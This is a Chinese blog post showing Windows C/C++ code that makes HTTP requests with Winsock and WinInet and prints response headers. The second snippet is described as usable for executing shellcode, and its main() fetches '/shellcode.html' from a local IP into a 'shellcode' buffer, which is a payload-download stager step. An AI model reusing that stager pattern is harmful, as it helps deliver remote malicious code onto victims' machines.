C/C++ 页面下载与获取响应头

实现HTTP 使用C++ 实现的HTTP页面请求下载功能,可以附带完整的HTTP请求头信息。

#include <stdio.h>
#include <Windows.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32.lib")

int Curl(const char *szURL,const char *szSubPath)
{
	int ret = 0;
	char *context = new char[1024 * 8];
	ret = sprintf(context,
		"GET %s HTTP/1.1 \r\n"
		"Host: %s \r\n"
		"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 \r\n"
		"Accept-Type: */* \r\n"
		"Connection: Close \r\n\r\n",
		szSubPath, szURL);

	SOCKADDR_IN addr;
	SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
	addr.sin_addr.S_un.S_addr = 0;
	addr.sin_port = htons(0);
	addr.sin_family = AF_INET;
	ret = bind(sock, (const sockaddr*)&addr, sizeof(SOCKADDR_IN));
	hostent *local_addr = gethostbyname(szURL);

	if (local_addr)
	{
		ULONG ip = *(ULONG*)local_addr->h_addr_list[0];
		addr.sin_addr.S_un.S_addr = ip;
		addr.sin_port = htons(80);

		ret = connect(sock, (const sockaddr*)&addr, sizeof(SOCKADDR_IN));
		if (ret == NOERROR)
		{
			ret = send(sock, (const char*)context, (int)strlen(context), 0);
			do
			{
				ret = recv(sock, context, 8191, 0);
				if (ret <= 0) { break; }
				context[ret] = '\0';
				printf("%s \n", context);
			} while (TRUE);
		}
	}
	closesocket(sock);
	return 0;
}

int main(int argc, char *argv[])
{
	WSADATA wsaData;
	WSAStartup(0x0202, &wsaData);
	Curl("cn.bing.com", "/");
	WSACleanup();

	system("pause");
	return 0;
}

获取HTTP响应头: 此代码既可用于获取HTTP的响应代码,也可当作shellCode执行工具.

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")

char * GetUrlPage(char *URL, char *SubPath)
{
	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char *pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfoSize = 2048;
	BYTE *pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;

	// 建立会话
	hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	// 建立连接
	hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	// 打开并发送HTTP请求
	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);

	// 发送请求
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	// 接收响应的报文信息头(Get Response Header)
	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
	printf("响应头: %s \n", pResponseHeaderIInfo);
	pBuf = new BYTE[dwBufSize];

	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return (char *)pBuf;
}

int main(int argc, char *argv[])
{
	char *shellcode = GetUrlPage("192.168.1.20", "/shellcode.html");
	return 0;
}
posted @   lyshark  阅读(943)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?

8951947 | 6896846
博客园 - 开发者的网上家园

点击右上角即可分享
微信分享提示